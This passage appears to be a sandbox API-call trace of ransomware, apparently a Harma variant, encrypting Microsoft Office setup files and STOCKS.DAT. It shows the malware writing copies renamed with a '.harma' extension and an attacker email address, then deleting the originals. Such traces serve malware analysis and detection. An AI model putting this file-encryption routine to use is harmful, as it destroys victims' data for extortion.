lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.465] lstrlenW (lpString=".ppt") returned 4 [0052.465] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.465] lstrlenW (lpString=".zip") returned 4 [0052.465] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.465] lstrlenW (lpString=".rar") returned 4 [0052.465] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString=".bz2") returned 4 [0052.465] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString=".7z") returned 3 [0052.465] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.465] lstrlenW (lpString=".dbf") returned 4 [0052.465] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.465] lstrlenW (lpString=".1cd") returned 4 [0052.465] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.466] lstrlenW (lpString=".jpg") returned 4 [0052.466] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.466] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.466] lstrlenW (lpString="SETUP.XML") returned 9 [0052.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.491] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1608) returned 1 [0052.493] CloseHandle (hObject=0x210) returned 1 [0052.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0052.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.503] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.503] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.512] GetLastError () returned 0x0 [0052.512] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x648, lpOverlapped=0x0) returned 1 [0052.514] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x650, lpOverlapped=0x0) returned 1 [0052.515] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.515] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.515] SetEndOfFile (hFile=0x1f8) returned 1 [0052.515] CloseHandle (hObject=0x1f8) returned 1 [0052.516] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.516] SetEndOfFile (hFile=0x210) returned 1 [0052.517] CloseHandle (hObject=0x210) returned 1 [0052.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0052.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.517] lstrlenW (lpString=".doc") returned 4 [0052.517] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.517] lstrlenW (lpString=".docx") returned 5 [0052.517] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.517] lstrlenW (lpString=".pdf") returned 4 [0052.517] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.517] lstrlenW (lpString=".xls") returned 4 [0052.517] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString=".xlsx") returned 5 [0052.518] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.518] lstrlenW (lpString=".ppt") returned 4 [0052.518] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString=".zip") returned 4 [0052.518] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.518] lstrlenW (lpString=".rar") returned 4 [0052.518] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString=".bz2") returned 4 [0052.518] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString=".7z") returned 3 [0052.518] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString=".dbf") returned 4 [0052.518] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString=".1cd") returned 4 [0052.518] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString=".jpg") returned 4 [0052.518] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.518] lstrlenW (lpString=".doc") returned 4 [0052.519] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString=".docx") returned 5 [0052.519] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.519] lstrlenW (lpString=".pdf") returned 4 [0052.519] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString=".xls") returned 4 [0052.519] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString=".xlsx") returned 5 [0052.519] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.519] lstrlenW (lpString=".ppt") returned 4 [0052.519] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.519] lstrlenW (lpString=".zip") returned 4 [0052.519] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.519] lstrlenW (lpString=".rar") returned 4 [0052.519] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString=".bz2") returned 4 [0052.519] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString=".7z") returned 3 [0052.519] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.519] lstrlenW (lpString=".dbf") returned 4 [0052.519] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.519] lstrlenW (lpString=".1cd") returned 4 [0052.519] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0052.520] lstrlenW (lpString=".jpg") returned 4 [0052.520] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.520] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.520] lstrlenW (lpString="SETUP.XML") returned 9 [0052.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.521] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2424) returned 1 [0052.521] CloseHandle (hObject=0x210) returned 1 [0052.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0052.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.522] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.522] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.522] GetLastError () returned 0x0 [0052.522] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x978, lpOverlapped=0x0) returned 1 [0052.872] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x980, lpOverlapped=0x0) returned 1 [0052.873] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.873] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.873] SetEndOfFile (hFile=0x1f8) returned 1 [0052.873] CloseHandle (hObject=0x1f8) returned 1 [0052.874] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.874] SetEndOfFile (hFile=0x210) returned 1 [0052.875] CloseHandle (hObject=0x210) returned 1 [0052.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.875] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0052.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.876] lstrlenW (lpString=".doc") returned 4 [0052.876] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString=".docx") returned 5 [0052.876] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.876] lstrlenW (lpString=".pdf") returned 4 [0052.876] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString=".xls") returned 4 [0052.876] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString=".xlsx") returned 5 [0052.876] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.876] lstrlenW (lpString=".ppt") returned 4 [0052.876] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.876] lstrlenW (lpString=".zip") returned 4 [0052.876] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.876] lstrlenW (lpString=".rar") returned 4 [0052.876] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString=".bz2") returned 4 [0052.876] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString=".7z") returned 3 [0052.876] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.876] lstrlenW (lpString=".dbf") returned 4 [0052.876] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.877] lstrlenW (lpString=".1cd") returned 4 [0052.877] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.877] lstrlenW (lpString=".jpg") returned 4 [0052.877] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.877] lstrlenW (lpString=".doc") returned 4 [0052.877] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString=".docx") returned 5 [0052.877] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.877] lstrlenW (lpString=".pdf") returned 4 [0052.877] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString=".xls") returned 4 [0052.877] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString=".xlsx") returned 5 [0052.877] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.877] lstrlenW (lpString=".ppt") returned 4 [0052.877] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.877] lstrlenW (lpString=".zip") returned 4 [0052.877] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.877] lstrlenW (lpString=".rar") returned 4 [0052.877] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString=".bz2") returned 4 [0052.877] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.877] lstrlenW (lpString=".7z") returned 3 [0052.877] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.878] lstrlenW (lpString=".dbf") returned 4 [0052.878] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.878] lstrlenW (lpString=".1cd") returned 4 [0052.878] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0052.878] lstrlenW (lpString=".jpg") returned 4 [0052.878] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.878] lstrcmpiW (lpString1=".DAT", lpString2=".harma") returned -1 [0052.878] lstrlenW (lpString="STOCKS.DAT") returned 10 [0052.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.509] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=39017) returned 1 [0054.509] CloseHandle (hObject=0x1fc) returned 1 [0054.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0054.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.020] GetLastError () returned 0x0 [0055.020] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x9869, lpOverlapped=0x0) returned 1 [0055.048] WriteFile (in: hFile=0x214, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0055.050] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.050] WriteFile (in: hFile=0x214, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0055.050] SetEndOfFile (hFile=0x214) returned 1 [0055.050] CloseHandle (hObject=0x214) returned 1 [0055.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.051] SetEndOfFile (hFile=0x1fc) returned 1 [0055.052] CloseHandle (hObject=0x1fc) returned 1 [0055.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0055.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0055.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.052] lstrlenW (lpString=".doc") returned 4 [0055.052] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0055.052] lstrlenW (lpString=".docx") returned 5 [0055.052] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0055.052] lstrlenW (lpString=".pdf") returned 4 [0055.053] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString=".xls") returned 4 [0055.053] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString=".xlsx") returned 5 [0055.053] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0055.053] lstrlenW (lpString=".ppt") returned 4 [0055.053] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString=".zip") returned 4 [0055.053] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString=".rar") returned 4 [0055.053] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString=".bz2") returned 4 [0055.053] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0055.053] lstrlenW (lpString=".7z") returned 3 [0055.053] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString=".dbf") returned 4 [0055.053] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString=".1cd") returned 4 [0055.053] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString=".jpg") returned 4 [0055.053] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 